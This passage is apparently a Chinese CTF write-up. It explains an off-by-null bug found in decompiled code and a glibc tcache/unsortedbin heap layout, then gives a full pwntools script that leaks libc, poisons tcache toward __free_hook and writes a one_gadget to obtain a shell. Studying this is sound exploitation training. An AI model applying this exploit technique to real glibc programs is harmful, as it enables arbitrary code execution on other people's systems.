if ( a2 - 1 < v3 || !a1[v3] || a1[v3] == 10 )
break;
++v3;
}
a1[v3] = 0;
result = &a1[a2];
*result = 0; //off_by_null
}
else
{
result = a1;
*a1 = 0;
}
return result;
}

我们输入的size其实就是这里的a2,如果输入的size刚好等于0xf8,就会有off_by_null出现,小于就没有

tcache在分配完其中的7个堆块后如果再次分配,它会先从unsortedbin中把和要分配的堆块大小相同的堆块全部以单链表形式链入tcache的链表里然后再分配出来,如果unsortedbin中有三个及以上符合大小的堆块,当并入tcache时,你会发现中间的堆块其fd->bk以及bk->fd仍然指向它自身

分配十个堆(0-9)接下来构造一个这样的bins

unsortedbins
4->2->0
tcachebins
剩下7个只是填充一下,顺序无所谓

这时我们malloc(0),malloc(0xf8)分别申请出了chunk4和chunk2,并且chunk1的prev_inuse被off_by_null修改为0了(动调看出来的,不太理解为什么不是3),这时根据之前提到的,chunk0是在tcachebins里的,所以再分配6个chunk就能填满tcachebins,再free chunk1就会执行后向合并,将chunk合并进去,show一下就能泄露libc(chunk0此时还在tcache的开头,因为tcachebins是单链表,用的是尾插法)

后面free_hook改为onegg的部分本地环境不对动调不了,难受

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
def malloc(size=1, content=b""):
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"> ", str(size))
io.sendlineafter(b"> ", content)

def free(index):
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"> ", str(index))

def puts():
io.sendlineafter(b"> ", b"3")
io.sendlineafter(b"> ", b'8')

for i in range(10):
malloc()
a = (9, 8, 7, 6, 5, 3, 1, 0, 2, 4)
for i in range(10):
free(a[i])
for i in range(7):
malloc()
malloc(0)
malloc(0xf8)
b = (0, 2, 3, 4, 5, 6)

for i in range(6):
free(b[i])
free(1)

puts()
io.recvuntil(b"> ")
malloc_hook = u64(io.recv(6).ljust(8, b'\x00')) - 96 - 0x10
lg("malloc_hook")
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0x4f322
for i in range(8):
malloc()
free(8)
free(9)
malloc(0x10, p64(free_hook))
for i in range(7):
free(i)
for i in range(7):
malloc()
malloc(0x10, p64(one_gadget))
free(0)